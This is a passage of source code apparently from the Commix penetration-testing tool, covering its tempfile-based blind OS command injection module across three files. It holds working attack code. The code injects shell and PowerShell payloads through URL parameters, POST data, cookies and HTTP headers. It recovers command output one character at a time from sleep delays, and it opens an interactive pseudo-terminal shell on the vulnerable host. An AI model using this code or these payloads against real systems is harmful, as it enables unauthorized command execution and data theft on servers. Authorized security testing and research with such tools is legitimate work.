info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
percent = ""
else:
percent = ".. (" + str(float_percent) + "%)"
print(settings.SINGLE_WHITESPACE)
# Print logs notification message
logs.logs_notification(filename)
#raise
else:
percent = ".. (" + str(float_percent) + "%)"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.LOAD_SESSION:
if whitespace == "%20":
whitespace = settings.SINGLE_WHITESPACE
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = " Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
else:
checks.total_of_requests()
# Print the findings to terminal.
info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level)
else:
whitespace = settings.WHITESPACES[0]
settings.LOAD_SESSION = False
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.TARGET_OS == settings.OS.WINDOWS:
time.sleep(1)
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
message = "Do you want to ignore stored session and enumerate again? [y/N] > "
enumerate_again = common.read_input(message, default="N", check_batch=True)
if enumerate_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif enumerate_again in settings.CHOICE_NO:
break
elif enumerate_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
common.invalid_option(enumerate_again)
pass
else:
if menu.enumeration_options():
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
while True:
message = "Do you want to ignore stored session and access files again? [y/N] > "
file_access_again = common.read_input(message, default="N", check_batch=True)
if file_access_again in settings.CHOICE_YES:
if not menu.options.ignore_session:
menu.options.ignore_session = True
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
common.invalid_option(file_access_again)
pass
else:
if menu.file_access_options():
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
cmd = menu.options.os_cmd
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
if len(output) > 1:
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
# Pseudo-Terminal shell
try:
checks.alert()
go_back = False
go_back_again = False
while True:
if go_back == True:
break
message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > "
if not settings.STDIN_PARSING:
gotshell = common.read_input(message, default="Y", check_batch=True)
else:
gotshell = common.read_input(message, default="n", check_batch=True)
if gotshell in settings.CHOICE_YES:
print(settings.OS_SHELL_TITLE)
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
false_positive_warning = False
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
sys.stdout.write(settings.OS_SHELL)
cmd = common.read_input(message="", default="os_shell", check_batch=True)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
else:
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print(settings.print_output(output))
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, output)
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
common.invalid_option(gotshell)
pass
except (KeyboardInterrupt, SystemExit):
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.stdout.write("\r")
raise
except EOFError:
if settings.STDIN_PARSING:
print(settings.SINGLE_WHITESPACE)
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.stdout.write("\r")
raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
"""
The exploitation function.
(call the injection handler)
"""
def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response):
# Check if attack is based on time delays.
if not settings.TIME_RELATIVE_ATTACK :
warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions."
print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL)
settings.TIME_RELATIVE_ATTACK = True
if tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response) == False:
settings.TIME_RELATIVE_ATTACK = False
settings.TEMPFILE_BASED_STATE = False
return False
# eof commix-3.8/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py 0000775 0000000 0000000 00000047411 14466364451 0030676 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
import time
import json
import string
import random
import base64
from src.thirdparty.six.moves import urllib as _urllib
from src.utils import menu
from src.utils import settings
from src.utils import common
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.requests import tor
from src.core.requests import proxy
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import parameters
from src.core.injections.controller import checks
from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads
"""
The "tempfile-based" injection technique on semiblind OS command injection.
__Warning:__ This technique is still experimental, is not yet fully functional and may leads to false-positive resutls.
"""
"""
Examine the GET/POST requests
"""
def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response):
start = 0
end = 0
start = time.time()
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
# Encoding non-ASCII characters payload.
# payload = _urllib.parse.quote(payload)
target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
vuln_parameter = ''.join(vuln_parameter)
request = _urllib.request.Request(target)
# Check if defined method is POST.
else :
parameter = menu.options.data
#parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the POST data
if settings.IS_JSON:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request
response = requests.get_request_response(request)
end = time.time()
how_long = int(end - start)
return how_long
"""
Check if target host is vulnerable.
"""
def injection_test(payload, http_request_method, url):
start = 0
end = 0
start = time.time()
# Check if defined POST data
if not settings.USER_DEFINED_POST_DATA:
payload = payload.replace("#","%23")
# Encoding non-ASCII characters payload.
# payload = _urllib.parse.quote(payload)
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_GET_param(url)
target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(target)
# Check if defined method is POST.
else:
parameter = menu.options.data
#parameter = _urllib.parse.unquote(parameter)
# Check if its not specified the 'INJECT_HERE' tag
parameter = parameters.do_POST_check(parameter, http_request_method)
parameter = ''.join(str(e) for e in parameter).replace("+","%2B")
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_POST_param(parameter, url)
# Define the POST data
if settings.IS_JSON:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\"")))
try:
data = checks.json_data(data)
except ValueError:
pass
elif settings.IS_XML:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload))
else:
data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC))
# Check if defined extra headers.
headers.do_check(request)
# Get the response of the request
response = requests.get_request_response(request)
end = time.time()
how_long = int(end - start)
return how_long, vuln_parameter
"""
Check if target host is vulnerable. (Cookie-based injection)
"""
def cookie_injection_test(url, vuln_parameter, payload):
return requests.cookie_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (User-Agent-based injection)
"""
def user_agent_injection_test(url, vuln_parameter, payload):
return requests.user_agent_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Referer-based injection)
"""
def referer_injection_test(url, vuln_parameter, payload):
return requests.referer_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Referer-based injection)
"""
def host_injection_test(url, vuln_parameter, payload):
return requests.host_injection(url, vuln_parameter, payload)
"""
Check if target host is vulnerable. (Custom header injection)
"""
def custom_header_injection_test(url, vuln_parameter, payload):
return requests.custom_header_injection(url, vuln_parameter, payload)
"""
The main command injection exploitation.
"""
def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == settings.OS.WINDOWS:
previous_cmd = cmd
if alter_shell:
cmd = cmd = checks.quoted_cmd(cmd)
else:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()"
if menu.options.file_write or menu.options.file_upload :
minlen = 0
else:
minlen = 1
found_chars = False
info_msg = "Retrieving the length of execution output (via '" + OUTPUT_TEXTFILE +"')."
print(settings.print_info_msg(info_msg))
for output_length in range(int(minlen), int(maxlen)):
# Execute shell commands on vulnerable host.
if alter_shell :
payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
else:
payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
# Examine time-responses
injection_check = False
if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF):
injection_check = True
if injection_check == True:
if output_length > 1:
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Retrieved the length of execution output: " + str(output_length)
print(settings.print_bold_debug_msg(debug_msg))
else:
sub_content = "Retrieved: " + str(output_length)
print(settings.print_sub_content(sub_content))
found_chars = True
injection_check = False
break
# Proceed with the next (injection) step!
if found_chars == True :
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = previous_cmd
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = "0.0%"
info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')."
if settings.VERBOSITY_LEVEL == 0 :
info_msg += ".. (" + str(percent) + ")"
else:
info_msg += "\n"
if output_length > 1:
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
for num_of_chars in range(1, int(num_of_chars)):
char_pool = checks.generate_char_pool(num_of_chars)
for ascii_char in char_pool:
# Get the execution ouput, of shell execution.
if alter_shell :
payload = tfb_payloads.get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method)
else:
payload = tfb_payloads.get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
# Examine time-responses
injection_check = False
if (how_long >= settings.FOUND_HOW_LONG and how_long - timesec >= settings.FOUND_DIFF):
injection_check = True
if injection_check == True:
if settings.VERBOSITY_LEVEL == 0:
output.append(chr(ascii_char))
percent = ((num_of_chars*100)/output_length)
float_percent = str("{0:.1f}".format(round(((num_of_chars * 100)/(output_length * 1.0)),2))) + "%"
if percent == 100:
float_percent = settings.info_msg
else:
float_percent = ".. (" + str(float_percent) + ")"
info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE +"')."
info_msg += float_percent
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
output.append(chr(ascii_char))
injection_check = False
break
check_end = time.time()
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
# Check for empty output.
if output == (len(output) * settings.SINGLE_WHITESPACE):
output = ""
else:
check_start = 0
check_how_long = 0
output = ""
return check_how_long, output
"""
False Positive check and evaluation.
"""
def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response, false_positive_warning):
if settings.TARGET_OS == settings.OS.WINDOWS:
previous_cmd = cmd
if alter_shell:
cmd = cmd = checks.quoted_cmd(cmd)
else:
cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()"
found_chars = False
checks.check_for_false_positive_result(false_positive_warning)
# Varying the sleep time.
if false_positive_warning:
timesec = timesec + random.randint(3, 5)
# Checking the output length of the used payload.
if settings.VERBOSITY_LEVEL == 0:
sys.stdout.write(timesec * ".")
for output_length in range(1, 3):
if settings.VERBOSITY_LEVEL == 0:
sys.stdout.write(timesec * ".")
# Execute shell commands on vulnerable host.
if alter_shell :
payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
else:
payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF):
found_chars = True
break
if found_chars == True :
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = previous_cmd
num_of_chars = output_length + 1
check_start = 0
check_end = 0
check_start = time.time()
output = []
percent = 0
sys.stdout.flush()
is_valid = False
for num_of_chars in range(1, int(num_of_chars)):
for ascii_char in range(1, 9):
if settings.VERBOSITY_LEVEL == 0:
sys.stdout.write(timesec * ".")
# Get the execution ouput, of shell execution.
if alter_shell:
payload = tfb_payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method)
else:
payload = tfb_payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
# Check if defined cookie with "INJECT_HERE" tag
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
how_long = cookie_injection_test(url, vuln_parameter, payload)
# Check if defined user-agent with "INJECT_HERE" tag
elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
how_long = user_agent_injection_test(url, vuln_parameter, payload)
# Check if defined referer with "INJECT_HERE" tag
elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
how_long = referer_injection_test(url, vuln_parameter, payload)
# Check if defined host with "INJECT_HERE" tag
elif menu.options.host and settings.INJECT_TAG in menu.options.host:
how_long = host_injection_test(url, vuln_parameter, payload)
# Check if defined custom header with "INJECT_HERE" tag
elif settings.CUSTOM_HEADER_INJECTION:
how_long = custom_header_injection_test(url, vuln_parameter, payload)
else:
how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response)
if (how_long >= settings.FOUND_HOW_LONG) and (how_long - timesec >= settings.FOUND_DIFF):
output.append(ascii_char)
is_valid = True
break
if is_valid:
break
check_end = time.time()
check_how_long = int(check_end - check_start)
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
if settings.VERBOSITY_LEVEL == 0:
sys.stdout.write(" (done)")
return how_long, output
else:
checks.unexploitable_point()
"""
Export the injection results
"""
def export_injection_results(cmd, separator, output, check_how_long):
if output != "" and check_how_long != 0 :
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "."
print(settings.print_info_msg(info_msg))
print(settings.print_output(output))
else:
err_msg = common.invalid_cmd_output(cmd)
print(settings.print_error_msg(err_msg))
# eof commix-3.8/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py 0000775 0000000 0000000 00000071673 14466364451 0030704 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
from src.utils import settings
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
"""
The "tempfile-based" technique on Semiblind OS Command Injection.
The available "tempfile-based" payloads.
"""
"""
Tempfile-based decision payload (check if host is vulnerable).
"""
def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE +
"do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + ampersand +
"for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
"((Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" + settings.SINGLE_WHITESPACE +
"do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
if separator == ";" or separator == "%0a" :
payload = (separator +
"str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
# Find the length of the output.
"str1=$(expr length \"$str\")" + separator +
#"str1=${%23str}" + separator +
"if [ " + str(j) + " -ne ${str1} ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"sleep 0" + separator +
"str=$(echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + ")" + separator +
"str=$(cat " + OUTPUT_TEXTFILE + ")" + separator +
"str1=$(expr length \"$str\")" + separator +
#"str1=${%23str} " + separator +
"[ " + str(j) + " -eq ${str1} ] " + separator +
"sleep " + str(timesec)
)
#if menu.options.data:
separator = _urllib.parse.unquote(separator)
elif separator == "||" :
pipe = "|"
payload = (pipe +
"echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe +
"[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE +
pipe + "tr -d '\\n'" +
pipe + "wc -c) ] " + separator +
"sleep " + str(timesec)
)
else:
pass
return payload
"""
__Warning__: The alternative shells are still experimental.
"""
def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == settings.OS.WINDOWS:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\""
if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
"cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\""
)
elif separator == "&&" :
